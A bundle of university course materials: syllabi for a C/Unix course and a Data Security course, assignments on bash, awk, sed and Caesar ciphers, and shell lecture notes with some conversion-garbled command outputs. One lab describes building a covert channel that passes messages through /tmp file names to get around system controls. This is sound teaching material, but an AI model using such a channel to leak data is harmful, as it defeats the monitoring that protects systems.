Notice.
These are representative samples of the documents in PDF format.
There is another 40-50M of documents, programs, data, and examples in the gzipped tar file. However
that doesn’t convert to pdf easily and so is not included. (How do you pdf convert the executable I
modify in class on the fly? Inquiring minds want to know.)
CSC 3320 Syllabus – Fall 2015

Room Aderhold 404 13:00-14:15  TR

Instructor: Robert Harrison

726 28 Peachtree
Tel (404) 413 5724
Email: rharrison@cs.gsu.edu
Material will be posted in the “brightspace” website. (as painful and useless as that is).

Office Hours: by appointment (but email me with questions, because I can usually respond quickly to those).

T.A. information:
David Binnion dbinnion1@gsu.edu

Texts:
Unix for programmers and users,
G. Glass and K Ables

C Programming A Modern Approach.
K. N. King
W. W. Norton

(Both Texts are Required)

Other References:
I find the following book useful for programming in C
C a Reference Manual 5th ed.
S P Harbison
G.L.Steele Jr.
Prentice Hall 2002

Strongly Suggested: It is strongly suggested that you find a unix/linux machine that you can play with other than the university account. Options include: a raspberry Pi, linux boot disk, linux installation (dual boot is fine). We will not be responsible for installing this software.

Course Content: An introduction to computer operating systems and the C language.
The course will cover the C language, the UNIX operating system and the basics of computer operating systems.
Pre-requisite: CSc2311 (and its prerequisites CSc2310, and CSc2010).
Withdrawals: The last day for regular withdrawals is October 13 2015

**Course Requirements:** Being a course in computer science, this is not a trivial course. Regular completion of reading, homework, and assignments is necessary for success. If you don't work at this course you will not do well. Computer programming is like playing a musical instrument; practice is necessary for proficiency. The assignments are a minimal set of programs. In order to become proficient, it will be necessary to practice with other examples.

**Course Grades:** The course grade will be derived from class tests (2), assignments, and a final exam. The preliminary draft of weights for the assignments and tests is:

<table>
<thead>
<tr>
<th></th>
<th>Percentage</th>
</tr>
</thead>
<tbody>
<tr>
<td>Test 1</td>
<td>22.50%</td>
</tr>
<tr>
<td>Test 2</td>
<td>22.50%</td>
</tr>
<tr>
<td>Assignments</td>
<td>25.00%</td>
</tr>
<tr>
<td>Final Exam or Project</td>
<td>30.00%</td>
</tr>
<tr>
<td><strong>Total</strong></td>
<td><strong>100.00%</strong></td>
</tr>
</tbody>
</table>

The assignments and tests will cover similar material. The grades will be calculated both including and excluding the assignments and the minimum value will be used. For example, if the grade including the assignments is 90% and the grade on the tests only is 95%, the the class grade will be 90%. Similarly if the grade including the assignments is 95% and the grade on the tests only is 90% then the grade will be 90%.

This is an approximate schedule and weighting – differences and deviations may occur.

The assignments and tests will be averaged with a weighted average. With the tests this average will be \((0.225 \times \text{test}_1 + 0.225 \times \text{test}_2 + 0.3 \times \text{final})/(0.225 + 0.225 + 0.30)\).

Assignments will be collected when specified. They will be accepted as late (with a 10 percent penalty) up until they have been discussed in class. After the answers have been discussed in class no further assignments will be accepted.

**Assignment Requirements:** If the assignment requires a program please turn in a copy of the source code, the program input and output (if any). Instructions for email vs. physical deposition of assignments may vary from assignment to assignment, please follow the specific ones given with the assignment. Generally, we will use the facilities associated with Brightspace (desire2learn). If required the executable should be made available for inspection and verification. Otherwise present your work clearly - just writing an answer (even if correct) is not as important as demonstrating that you actually understand the problem. Assignments will not be accepted without this information. Please put your name on all material which is handed to the instructor or
TA.

**Unless arranged in advance JAVA programs will not be accepted.** You are here to learn new languages and new operating systems. Yes it is tough. Get over it. Similarly, if you use a windows C compiler/IDE it will count for nothing.

**Makeup tests and exams will not be given.** If there is a disaster, an accident, or an illness a makeup test can be scheduled provided 1) the instructor is notified promptly and in advance if possible of the reason, and 2) you supply an original letter addressed to me on letterhead from a physician, hospital or relevant authority and signed by the physician, hospital administrator, or relevant authority, stating why you could not make it to the test. **It is absolutely critical that you are prompt in bringing any need for a makeup or extended deadline to my attention. It is much easier to schedule an incomplete than to correct a grade.**

People with learning differences (ADD, Dyslexia and similar conditions, or physical disabilities) should privately inform me if they need extra time or other aids for the exams or assignments. This should be done at the beginning of the term; before the tests and assignments are graded. You should be prepared to supply documentation from the disabilities office at GSU documenting the problem and the accommodations required. Similarly, if you find your English language skills are not keeping up with the class, you should arrange with me for more time (before you are failing).

Missed tests and assignments will be graded as 0 (zero).

Grades will be rounded to the nearest whole number. Any curve applied to the scores will only improve your grade. (if the grades range from 92-100 then everyone gets an "A", but the next test may be harder).

If Georgia State University is closed (for example due to a weather emergency), test dates and assignment due dates will be re-scheduled on the next class day. In this case information will be posted on my web site.

**Plagiarism:** All work submitted for grading must be the students own. Using a search engine like Google or Yahoo to find an answer for a problem does not count as the students own work. Minor changes from someone else’s work do not count as a student’s own work. Taking someone else’s program and renaming the variables does not count as your own work. Handwritten copies are not considered in “your own words.” References and sources should be properly cited. Plagiarism will result in a score of 0 (zero) for the work or dismissal from the course and notification of the Dean of Students. Do not allow others to copy your work as all students will receive 0 (zero). The determination of plagiarism or copying will be done using the professional judgment of the instructor. In order to minimize the possibility of plagiarism during an
exam, I reserve the right to assign seating for exams and to take other measures to ensure fairness.

**Homework:** Suggested exercises will be given in class. These will re-enforce the lectures and be similar to test problems. Performing them will help you get a good grade. In general, to succeed in computer science, you will need to “keep current” by self-directed study. This is the time to get into that habit.

**Assignments:** Graded assignments can be thought of as open-book quizzes. If part of the answer is written in a book or paper, the student is responsible for supplying a reference. (i.e. you can copy published work, but you must cite it properly). Students are expected to supply the answers in their own words; a string of citations, however correct, will only receive partial, if any, credit.

**Absence from Class:** Students are responsible for the materials covered in class. Should a student be absent, it is their responsibility to get the notes and handouts from that lecture. Most importantly, if there is an assignment given on a missed class, it still must be handed in on the prescribed date. If there is a disaster, an accident, or an illness a makeup assignment can be scheduled provided 1) the instructor is notified promptly and in advance if possible of the reason, and 2) you supply an original letter addressed to me on letterhead from a physician, hospital or relevant authority and signed by the physician, hospital administrator, or relevant authority, stating why you could not complete the assignment.

**Class Manners:** You are here to learn computer science. Activities that interfere with learning are prohibited. I request that you turn off radios, cell phones and pagers during the class period and refrain from bringing food and drink to class. Quiet well-behaved visitors can be brought to class with my prior permission which must be obtained at least one day in advance. Don't bring pets. (See me if you have a medical condition that would not allow you to follow this syllabus). If you have to leave the class for some reason, please do so quietly and take all your belongings with you; please do not re-enter the class because that will be highly disturbing to the other students (and you are still responsible for what you missed).

Grading: Assignments and exams will be graded and returned in approximately one week. If it will take longer, I will notify you.

Note: This syllabus is a general plan for the course, and deviations from it may be necessary during the duration of the course.
COMPUTER HOLY WARS

HOLD IT RIGHT THERE, BUDDY.

THAT SCRUFFY BEARD... THOSE SUSPENDERS... THAT SMUG EXPRESSION...

YOU'RE ONE OF THOSE CONDESCENDING UNINFORMED COMPUTER USERS!

HERE'S A NICKNAME FOR YOU: SELF-AWARE NERD.
Assignment 0
Getting your account

RWH
due September 1

You will need an account to actually pass this class. Follow the instructions below and get one.

1 Instructions

1. Find a copy of an SSH client. On the university machines, it is probably named PUTTY and can be found by hunting around. You may need to download one for another machine (like your laptop) and even Bing will find the download site if you type "putty" in the search field.

2. Use the SSH client to connect to snowball.cs.gsu.edu

3. log in with your university ID and password.

4. We will be able to see who has done this because it will create a directory in \home. (i.e. if my gsu id is xyz100 then there will be a \home \xyz100 directory).

5. Find the 3320 directory in my area. What is in the file message.a0? Put that in a document in your icollege account.

2 Learning to Find Your Way.

During the lab section:

1. basic commands Create a directory in your area called bogus. Rename it to something more suitable. Change directory to that location.

2. Editing Try vi and nano. Create a file ‘x.x’, rename it, copy it, and delete either the original or the copy.

3. Your first c program Use the editor of your choice (and vi will highlight syntax so it’s a good one) to create a file called hello.c It should contain:
#include <stdio.h>
int main()
{
    printf("hello\n");
}

Compile it with the command gcc and run the output. Welcome to the world of Unix.

By the way, just to be mean and more importantly to force you to start thinking in UNIX I’m going to use latex. Since almost every computer science conference insists on latex, it would probably be a good idea for you to get started too. There are some excellent latex editors (Texstudio, texmaker) that take most of the pain out of it.
Abstract

This assignment is to help you become familiar with basic Unix commands.

The problem

Use the Vi editor to write a summary of Vi commands. Please include:

1. Getting help on a specific command
2. The home row keys for manipulating your location in a document (h, j,k,l)
3. Insertion
4. Appending
5. Substitution
6. undoing the last command
7. dropping into a command line mode
8. range-based deletion and substitution
9. finding a character or string in a document
10. four ways of quitting a document (not including c)
   - saving and quitting (two ways)
   - just quitting
   - writing a new file
11. running a shell command from the editor.
LAB WORK

One of the beauties of Unix is the ability to write scripts (programs) where the components interact with the shell. We’ll do more of these, but let’s get started on some simple ones. There are Unix versions of pushd and popd, but you’ll write your own. (Do NOT use the system pushd and popd.)

By the way, you’ll need to figure out two things to make this work.

1. How to control which language interprets the script (use /bin/bash).
2. How to set the script so that it is executable.

**echo command line**

Write a script that echos its command line. Set it so that it runs as a command.

```bash
./echod.sh a b
```

a b

**pushd**

Write a script that does one level of pushd. It should store the location in a shell variable (mypath in this example)

```bash
pwd
/home/rwh
./pusher 3320
pwd
/home/rwh/3320
echo $mypath
/home/rwh
```

**popd**

Write a script that does the reverse of the last script. It should return to the directory that pushd was called from.
Learning to use awk, grep and sed

There is a protein database file (4HKD.pdb) in Dr. Harrison’s main directory. These files consist of many individual records (lines) each of which starts with a keyword that identifies it. The files are somewhat complicated. Your task is to use Unix tools to simplify looking at these files. It is a good idea to write script files out as demonstrated in class, rather than trying to compose them on the command line. - you can turn the scripts in as part of the answer.

You should copy the file to your own area and write programs to solve the following problems.

1. Records other than "ATOM", "CONNECT", "HETATM", "TER" and "END" are considered header records which describe the metadata about the molecule. Use grep to generate the header. Please give the grep command(s) and the header you found.

2. The records that have "HETATM" and "MSE" should be "ATOM " (the two spaces after ATOM are important) and "MET" respectively. (This reflects an experimental technique used to solve the structure - but results in a syntactical inconsistency that can cause problems). Please use sed and/or awk to fix this. Please give the commands you used and show the corrected lines.

3. Use awk to find the maximum and minimum x,y,z values for the ATOMs

```
ATOM 93 OG SER A 12 20.901 10.643 45.146 1.00 34.66 O
ATOM 94 N MET A 13 22.086 11.751 41.731 1.00 22.99 N
```

The 7th through 9th fields are the x,y,z positions.

4. find the mean values for x,y,z for the HETATM records (same fields as ATOM records )

5. The standard name for a water molecule is HOH. Unfortunately it needs to be called WAT to be used by some (slightly braindead) computational chemistry program. Make the changes automatically with sed. What command did you use?

6. produce a list of atoms sorted by their b-factor (11th position in an ATOM record). How did you do it?
Lab Work

It was a dark and stormy night, well not really, but that small army of barred owls calling ”no soup for you” has kept you awake all night. A distinctly large and hairy man nabs you on the way to Starbucks, shoves a moldy shoe in your hand, and whisks you to a castle in remote Scotland to help with something called ‘muggle studies.’ (You can see where this is going.) Due to an overly complicated monetary system based on prime numbers, the owners of the castle are nearly bankrupt. In a last desperate attempt to avoid foreclosure they turn to you to do the accounts. Fortunately, due to the ‘magic of the ELF’ the linux partition on your laptop still runs. Less fortunately, 'for security reasons’ due to an unfortunate incident in the recent past Python does not. So you’ll have to use bash and awk to achieve your magic. Since your ability to make it back to GSU for the next 3320 class depends on them staying solvent this is a matter of the first importance. (besides the beer is weak and tastes of butter.)

You are presented with a file of figures of the form 1/3/3 or -10/3/2 which correspond to galleons, sickles and knuts. There are 23 sickles in a galleon and 17 knuts in a sickle.

1. Write an AWK program to convert a string of the form +- n/m/o into an absolute number of knuts. 1/0/0 should go to 23*17 or 391. It may or may not be helpful to use SED to remove the ‘/’

2. Write another AWK program to generate a string of the form +- n/m/o from an absolute number of knuts. (this is the inverse of the last one.)

3. Use these programs to sum a list of numbers. (This will probably be a bash script and use another awk program to perform the sum.)

4. (time permitting) Find the ELF.
Some cryptography and a little computer security.
You find an odd DeLorean parked around the corner. Realizing that Doc Brown has left the
keys in the ignition, you decide that a quick trip back to Rome in 40 BC is in order. A few mint
condition coins, and possibly a picture of Vincengetorix will be highly remunerative.
As usual, the car fails and you are stranded.
All is not lost, Julius Ceaser recruits you for his secret service as a cryptographer. Falerian
wine is palatable, you have acquired a taste for garum (don’t ask), and there are more than
enough other attractions to make your life comfortable.
Fortunately, you have your laptop, running linux with a python interpreter, and by the use of
lemon juice, copper denarii and silver sestarii you are able to rig up a battery to keep it running.

1. Write a program that takes a key (a number from 1 to 26) an input file name, and an
output file name from the command line and uses the key to encrypt it with a Ceaser
cipher. A Ceaser cipher performs modular addition of the key and the letter. If the key is
1 then a->b, b->c, ..., y->z, z->a. Ignore all the things that aren’t the letters from a to z
(simply pass them through) and you will want to put the letters into lower case. Use the
file message1.txt and a key of 7 to encrypt it.

2. Cato and Junius Brutus are using the cipher to encrypt their communications. In Latin as
well as that vulgar Germanic language Englisc the letter ‘e’ is the most common letter. ‘t’
is the second most common. Write a program to count the numbers of each letter in the
message. (i.e. how common is each symbol) Then use that to find the key for the message.
Use the file ceaser1.txt for input.

extra credit Ceaser ciphers form a group. Therefore repeated encryption with any key will recover the
message. Use the results from your answer to the second question to find the message.
The proper decryption will be when ‘e’ is the most common letter and ‘t’ is the second
most common. Use the file ceaser2.txt for input.

LAB WORK
Covert channels are a nightmare for computer security. A covert channel abuses the protocol to
send a message. It will follow the rules of the system to transmit information that it /em should
not be possible to transmit. It is formally impossible to block all covert channels. Any time two
parties can see something exchanged, they use that exchange to transmit information.
We’re going to implement a covert channel using the /tmp directory. This could be a good exercise to divide into two teams, or this could be done with teams implementing both halves of the protocol. One team will create files, and the other use them to extract a message. Note that the content of the files is not at all important. You can even use touch to create blank files if you want.

The transmitter and receiver should agree on a tag to use. They will create files in /tmp. Since there will be more than one group trying this at a time, it’s best to pick unique identifies.

**Transmitter**

This can easily be done with bash using awk or sed.

1. Open a file (or use redirect from stdin).
2. Create an array of words (an ordered list).
3. for each word in the file do:
   
   create a file tag.index.word something like /tmp/rwh.1.Now
   sleep for some time (1 second should be fine)
   delete the file

Repeat the process several times so that the receiver can get all the words.

**Receiver**

This can also be done with bash using awk and/or sed.

1. Create an array.
2. While there are spaces in the array (or you can just create an infinite while loop).
3. Construct a loop within that outer while loop that:

   Use a command like ls or test to see if a file of the form /tmp/tag.number.word exists. Extract the number and the word. Put the word in the right place in the array. Output the words in the right order.

If it’s working you should be able to transmit a short poem (Mary had a little lamb is good.)
What you need to know for the lab

1/17/18 Lecture notes

rwh
January 17, 2018

Keep warm
and
UNIX on.

Abstract
These are some of the things I would have talked about in my lecture
today. Chapters 5 and 8 of Glass & Ables are probably the best references.

Shells and Subshells and Subsubshells

Typing ps shows what’s running. Not that I have ps - the command, and bash -
the shell, and nothing else. (Well, actually there’s a whole mess of other things
(try ps aux to see), but these are the ones associated with my active process.)

```
rob@poirot:~$ ps
PID TTY TIME CMD
 2 tty1 00:00:00 bash
35 tty1 00:00:00 ps
rob@poirot:~$
```

I can create another shell by typing:

```
rob@poirot:~$ /bin/bash
rob@poirot:~$ ps
PID TTY TIME CMD
 2 tty1 00:00:00 bash
39 tty1 00:00:00 bash
49 tty1 00:00:00 ps
rob@poirot:~$
```
PID, by the way, is my processes’ ID. Process 2 is the original bash and process 39 is the new one.

( and ) invoke a new shell.

```
rob@poirot:$ (ls ; ps)
hello  hello.rs
```

```
PID  TTY   TIME   CMD
 2   tty1  00:00:00  bash
39  tty1  00:00:00  bash
59  tty1  00:00:00  bash
61  tty1  00:00:00  ps
rob@poirot:$
```

Three bashes! The semicolon separates individual commands.

After we invoked a shell, we can run the command `ls ; ps` to get the list of processes that were running. The output is as follows:

```
PID  TTY   TIME   CMD
 2   tty1  00:00:00  bash
39  tty1  00:00:00  bash
59  tty1  00:00:00  bash
61  tty1  00:00:00  ps
rob@poirot:$
```

The other way to invoke a shell is to use the first line of a script.

```
rob@poirot:$ cat a.sh
#!/bin/bash
echo $1
rob@poirot:$ chmod +x a.sh
rob@poirot:$ .a.sh first_argument
first_argument
rob@poirot:$
```

The `#!/<shell or interpreter>` sets the program that runs the script. `a.sh` echoes the first argument. What did I do with `chmod` and why was that important?

The `cat` is one way to display the contents of a file (works best when it is a small file).

### Stdin, stdout, stderr

Every Unix process has three files or ‘streams’ associated with it. stdin is the input (usually the terminal), stdout the output (usually the output), and stderr for error messages. The names in Python (sys.stdin etc) are derived directly from these.

- `>` redirects stdout.
- `<` redirects stdin.
- `|` patches stdin from one program into stdout from the next.

```
rob@poirot:$ ls | grep sh
a.sh
rob@poirot:$ ls > listing ; cat listing
```

```
a.sh
hello
hello.rs
listing
```

```
rob@poirot:$ ls | grep > cat
rob@poirot:$ ls | grep sh | cat
```
Oops > cat created a file cat. How do I get rid of it? (figure this out yourselves.)

getting the output of a command

What I really wanted was cat to read the output of "ls — grep sh" and it did not work. cat is a little brain-dead and requires its arguments to be on the command line.

```bash
rob@poirot:$ cat 'ls | grep sh'
#!/bin/bash
echo $1
```

Strings inside of backwards single quotes (the key to the left of '1' on US keyboards not " ' ") are executed and the output (stdout) is put in their place. So

```bash
cat 'ls | grep sh'
```

became cat a.sh which then executed.

Shell variables

Bash has variables.

```bash
a_variable=an_expression
```

Since spaces (e.g. ‘ ’) are used by the shell to delimit strings, there are no spaces around the equals sign.

```bash
rob@poirot:$ a = 'ls | grep sh'
a: command not found
```

It didn’t work, did it? Instead

```bash
rob@poirot:$ a='ls | grep sh'
rob@poirot:$ echo $a
a.sh
```

```bash
rob@poirot:$
```

does exactly what we want.

Variables are used with the $ operator (as in the echo $a above). Echo is a useful command because it shows what’s in the variable. Once we know about
sed and awk, we can use echo with them to extract parts of a variable and put it to good use. (This is also why the lab work is only one directory deep, you’d have to either use the array facility in bash or a delimiter and awk to store more levels.)

The $ operator is only used when using the variable. Trying to assign to $a causes no end of troubles.

```
rob@poirot:~$ $a='ls | grep sh'
a.sh=a.sh: command not found
rob@poirot:~$ $b='ls | grep sh'
  =a.sh: command not found
rob@poirot:~$
```

So don’t do it.

**Scope of variables**

As with Los Vegas, what happens in the shell stays in the shell.

```
rob@poirot:~$ ps
PID TTY   TIME CMD
  2 tty1  00:00:00 bash
 39 tty1  00:00:00 bash
124 tty1  00:00:00 ps
rob@poirot:~$ echo $a
a.sh

We exit and a is gone.

rob@poirot:~$ exit
exit
rob@poirot:~$ echo $a

```

```
rob@poirot:~$ ps
PID TTY   TIME CMD
  2 tty1  00:00:00 bash
125 tty1  00:00:00 ps
rob@poirot:~$
```

This is good, and bad. It means that you can use a subshell, do a mess of things, and wipe out the traces. It also means that you can’t necessarily keep something you’d like to keep.

Bash has a mechanism to keep variables across shells.

```
rob@poirot:~$ /bin/bash
rob@poirot:~$ ps
PID TTY   TIME CMD
  2 tty1  00:00:00 bash
```
The command `export` will set a variable so that all of a shell’s children (subshells) will see it. Unfortunately that’s not quite what we want.

```
rob@poirot:~$ export a='ls | grep sh'
rob@poirot:~$ echo $a
a.sh
rob@poirot:~$ ./$a 1
1
rob@poirot:~$
```

It is gone, off to the bit bucket, nevermore to be seen.

You can also set and unset variables with the `set` and `unset` commands.

The `source` command executes a script in the context of the current shell and will allow a script to modify what appears to be its parent’s variables.

```
rob@poirot:~$ cat b.sh
#!/bin/bash
# won’t really be used with source.
a='ls | grep sh'
export a
rob@poirot:~$
```

When we source `b.sh` it does what we want.

```
rob@poirot:~$ bash
rob@poirot:~$ ps
PID TTY TIME CMD
  2 tty1 00:00:00 bash
  395 tty1 00:00:00 bash
  405 tty1 00:00:00 ps
rob@poirot:~$ echo $a
```
Instead of typing 'source yadayada.sh' you can use the alias command. Note that the quotes in the alias are normal single quotes and not the backwards ones.

You may want to pay attention to how I've changed b.sh. (HINT)

By the way, what did the pwd command do?
"tu," ygoj ngxxoy, "ol eua cgtx xkyz gtj ingtmk, eua igt'z hkgz g ykg zxov."

o uhpkizkj zu znk ykg zxov yzxutmre. g ykg zxov juky eua muuj cnkt eua gkx muotm zu ngbk g iuavrk ul sutzny ul oz, haz, lux g ckkq, oz oy coiqkj.

eua yzgxz ut sutjge cozn znk ojkg osvrgtzkj ot euax huyus zngz eua gkx muotm zu ktpue euaxykrl. eua cgbk gt goxe gjoka zu znk huey ut ynuhk, romnz euax hommkyz vovk, gtj ycgmkmkx ghuaz znk jkiq gy ol eua ckkk igvzgot iuuq, yox lxgtioy jxgq, gtj inxoyzuvnkx iurashay grr xurrkj otzu utk. ut zakyjge, eua coyn eua ngjt'z iusk. ut ckjtkyjge, znaxyjge, gtj lxoijge, eua coyn eua ckkk jkgj. ut ygzaxjge, eua gkx ghrk zu ycgrruuc g rozrrk hkkl zkg, gtj zu yoz av ut jkiq, gtj gtyckx cozn g cgt, yckkz ysork cnkt qotjnkxzkj vkuvrk gyq eua nuc eua lkkrt tuc. ut yatjge, eua hkmot zu cgrq ghuaz gmgot, gtj zgqk yuroj luu. gtj ut sutjge suxotom, gy, cozn euax hgm gtj ashxkrrrg ot euax ngttj, eua yzttj he znk matcgrk, cgozotm zu yzv gynuxk, eua hkmot zu znuxuamnre roqk oz.

o xkskshkx se hxuznxkxotrgc muotm lux g ynuux ykg zxov utik, lux znk hktklclz ul nuy nkgzrn. nk zuuq g xkzxz lkxzn lux srmizj ut robxvuur; gtj cnkt nk muz zu robxvuur, znk utre znotm nk cgy gtdouay ghuaz cgy zu ykrr zngz xkzxz zoiqkz.

oz cgy ullkxkj xuatj znk zuct gz g zkxsktjuay xkaizout, yu o gs zurj; gtj cgy kbktzarrrre yurj lux koomzkktyvtik zu g horouayruuqotm euaxz cnu ngj payz hkt ljboykj he nuy skjoigr skt zu mu zu znk ykggyojk, gtj zgqk kdkxioyk.

"ykggyojk!" ygoj se hxuznkxotrgc, vxkyyotm znk zoiqkz gllkizoutgzkre otzu noy ngttj; "cne, eua'u rr ngbk ktuamn zu rgyz eua g rolzkosk; gtj gy lux kdkxioyk! cne, eua'u rr mkz suxk kdkxioyk, yozzotm juct ut zngz ynov, zngt eua cuarj zaxotm yuskxygarzy ut jxe rgtj."

nk nosykrl se hxuznkxotrgc igsk hqi he zxgot. nk ygoj znk tuxzn ckzykx efogc e cyg nkgzrne ktuamn lux nos.
There was a boy at our school, we used to call him Sandford and Merton. His real name was Stivvings. He was the most extraordinary lad I ever came across. I believe he really liked study. He used to get into awful rows for sitting up in bed and reading Greek; and as for French irregular verbs there was simply no keeping him away from them. He was full of weird and unnatural notions about being a credit to his parents and an honour to the school; and he yearned to win prizes, and grow up and be a clever man, and had all those sorts of weak-minded ideas. I never knew such a strange creature, yet harmless, mind you, as the babe unborn.

Well, that boy used to get ill about twice a week, so that he couldn't go to school. There never was such a boy to get ill as that Sandford and Merton. If there was any known disease going within ten miles of him, he had it, and had it badly. He would take bronchitis in the dog-days, and have hay-fever at Christmas. After a six weeks' period of drought, he would be stricken down with rheumatic fever; and he would go out in a November fog and come home with a sunstroke.

They put him under laughing-gas one year, poor lad, and drew all his teeth, and gave him a false set, because he suffered so terribly with toothache; and then it turned to neuralgia and ear-ache. He was never without a cold, except once for nine weeks while he had scarlet fever; and he always had chilblains. During the great cholera scare of 1871, our neighbourhood was singularly free from it. There was only one reputed case in the whole parish: that case was young Stivvings.

He had to stop in bed when he was ill, and eat chicken and custards and hot-house grapes; and he would lie there and sob, because they wouldn't let him do Latin exercises, and took his German grammar away from him.

And we other boys, who would have sacrificed ten terms of our school-life for the sake of being ill for a day, and had no desire whatever to give our parents any excuse for being stuck-up about us, couldn't catch so much as a stiff neck. We fooled about in draughts, and it did us good, and freshened us up; and we took things to make us sick, and they made us fat, and gave us an appetite. Nothing we could think of seemed to make us ill until the holidays began. Then, on the breaking-up day, we caught colds, and whooping cough, and all kinds of disorders, which lasted till the term recommenced; when, in spite of everything we could manoeuvre to the contrary, we would get suddenly well again, and be better than ever.

Such is life; and we are but as grass that is cut down, and put into the oven and baked.
CSc8370 Syllabus - Fall 2016

Data Security

Room: Aderhold 203 1300-1445 Tuesday/Thursday.

Instructor: Robert Harrison

726 25 Peachtree
Tel (404) 413-5724
Email: rharrison@cs.gsu.edu
Web http://www.cs.gsu.edu/~cscrwh

Office Hours: by appointment

Text (Required): Christof Paaf and Jan Pelzl Understanding Cryptography.

Other References:
www.phrack.com A major Hacking website. The quality of the articles varies between truly excellent and the other extreme.


Koziol J, Litchfield D, Aitel D., Anley C., Eren S., Mehta N, and Hassel R. The Shellcoder’s Handbook. 2004, Wiley. This is an excellent resource about the detailed mechanics of breaking operating system security.

Pfleeger C.P., and Pfleeger S.L., 2003 Security in Computing 3rd edition. This is the textbook from several years ago. It is a bit general for what we need.


A compendious list of hacking attacks and vulnerabilities. Next to no theory

A good book on communications security and authentication. It has a major emphasis on cryptography.

This book is a good source about low-level computer forensics and privacy issues. It is centered on the windows environment and is somewhat quirky.

This is clear presentation of the total systems requirement for data security.

Wayner P. (1996) Disappearing Cryptography, Academic Press. This is a clear, but slightly dated, book on Steganography.

Bauer F.L. (1991) Decrypted Secrets, Springer. This is the best readily available book on cryptography and cryptanalysis. It also has an excellent historical presentation.


Schneier B. (1996) Applied Cryptography, Wiley. This is a book of algorithms for cryptography. It is a bit quirky and Dr. Schneier tends to dismiss points he doesn't thoroughly understand (especially on the RSA algorithm and elliptic field ciphers).


Course Content: Fundamentals of Data Security including aspects of cryptography, network traffic analysis and detection and correction of compromised systems. It will also include aspects of computer forensics. The course outline supplies an approximate plan for the course, but it may be necessary to deviate from that plan.

Warning and Caution: This course will examine how computer systems are attacked and compromised. The aim of this course is to defeat such attacks, and the best approach to defeating attacks is to understand them. Application of these techniques outside of approved machines (i.e. our lab, or part of your legitimate employment) will result in an automatic, unappealable failing grade. Remember, in addition to any ethical considerations, unauthorized attacking ("cracking") of machines is illegal and can carry substantial criminal penalties.

Withdrawals: The last day for regular withdrawals is October 11 2016 (term midpoint).
**Course Requirements:** Being a course in computer science, this is not a trivial course. Regular completion of reading, homework, and assignments is necessary for success. If you don't work at this course you will not do well. Some aspects of this course will require computer programming in a language like C on a UNIX machine and examination of how a program is implemented on a machine. Computer programming is like playing a musical instrument; practice is necessary for proficiency. The assignments are a minimal set of programs. In order to become proficient, it will be necessary to practice with other examples.

**Course Grades:** The course grade will be derived from class participation, a midterm test, assignments, and a project. The project will be presented in class. The weights for the assignments and tests are given by:

<table>
<thead>
<tr>
<th>Component</th>
<th>Weight</th>
</tr>
</thead>
<tbody>
<tr>
<td>Participation</td>
<td>22.50%</td>
</tr>
<tr>
<td>Midterm</td>
<td>22.50%</td>
</tr>
<tr>
<td>Assignments</td>
<td>25.00%</td>
</tr>
<tr>
<td>Project</td>
<td>30.00%</td>
</tr>
<tr>
<td><strong>Total</strong></td>
<td>100.00%</td>
</tr>
</tbody>
</table>

Class participation will be partially assessed by taking attendance in class. If a sign-in sheet is used, please only sign yourself in. There is a high correlation between class attendance and student performance on assignments and exams.

The assignments and test will cover similar material. The assignments will include reviewing current literature in the field. The grades will be calculated both including and excluding the assignments and the minimum value will be used. For example, if the grade including the assignments is 90% and the grade on the tests only is 95%, then the class grade will be 90%. Similarly if the grade including the assignments is 95% and the grade on the tests only is 90% then the grade will be 90%.

The assignments and tests will be averaged with a weighted average. With the tests this average will be \((0.225 \times \text{participation} + 0.225 \times \text{midterm} + 0.300 \times \text{project}) / (0.225 + 0.225 + 0.30)\).

We will follow the university standard a+-/b+- scale.

Assignments will be collected when specified. They will be accepted as late (with a 10 percent penalty) up until they have been discussed in class. After the answers have been discussed in class no further assignments will be accepted.

**Assignment Requirements:** If the assignment requires a program please turn in a printed copy of the source code, the program input and output (if any). **We will use desire to learn (iCollege) as a homework mechanism.** If required the executable should be made available for inspection and verification. Otherwise present your work clearly - just writing an answer (even if correct) is not as important as demonstrating that you actually understand the problem. Assignments will not be accepted without this information. Please put your name on all material which is handed to the instructor or
TAs.

**Unless arranged in advance JAVA programs will not be accepted.**  
If you can only program in Java or Matlab, then this is not the class for you.

**Makeup tests and exams will not be given.** If there is a disaster, an accident, or an illness a makeup test can be scheduled provided 1) the instructor is notified promptly and in advance if possible of the reason, and 2) you supply an original letter addressed to me on letterhead from a physician, hospital or relevant authority and signed by the physician, hospital administrator, or relevant authority, stating why you could not make it to the test. **It is absolutely critical that you are prompt in bringing any need for a makeup or extended deadline to my attention. It is much easier to schedule an incomplete than to correct a grade.**

People with learning differences (ADD, Dyslexia and similar conditions, or physical disabilities) should privately inform me if they need extra time or other aids for the exams or assignments. This should be done at the beginning of the term; before the tests and assignments are graded. You should be prepared to supply documentation from the disabilities office at GSU documenting the problem and the accommodations required. Similarly, if you find your English language skills are not keeping up with the class, you should arrange with me for more time (before you are failing).

Missed tests and assignments will be graded as 0 (zero).

Grades will be rounded to the nearest whole number. Any curve applied to the scores will only improve your grade. (if the grades range from 92-100 then everyone gets an "A", but the next test may be harder).

If Georgia State University is closed (for example due to a weather emergency), test dates and assignment due dates will be re-scheduled on the next class day. In this case information will be posted on my web site.

**Plagiarism:** All work submitted for grading must be the students own. Using a search engine like Google or Yahoo to find an answer for a problem does not count as the students own work. Minor changes from someone else’s work do not count as a student’s own work. Handwritten copies are not considered in “your own words”. References and
sources should be properly cited (this will be defined in class). Plagiarism will result in a score of 0 (zero) for the work or dismissal from the course and notification of the Dean of Students. Do not allow others to copy your work as all students will receive 0 (zero). The determination of plagiarism or copying will be done using the professional judgment of the instructor. In order to minimize the possibility of plagiarism during an exam, I reserve the right to assign seating for exams and to take other measures to ensure fairness.

Tests and Examinations. Examinations will be given in class. The examination conditions will be adjusted to minimize the possibility of cheating. These adjustments may include (and are not limited to) assigned randomized or selected seating, and multiple equivalent tests.

Homework: Suggested exercises will be given in class. These will re-enforce the lectures and be similar to test problems. Performing them will help you get a good grade. In general, to succeed in computer science, you will need to "keep current" by self-directed study. This is the time to get into that habit. We will use iCollege.

Assignments: Graded assignments can be thought of as open-book quizzes. If part of the answer is derived from a book or paper, the student must supply a reference or citation as well as the answer. (i.e. you can use published work, but you must cite it properly). Students are expected to supply the answers in their own words; a string of citations, however correct, will only receive partial credit.

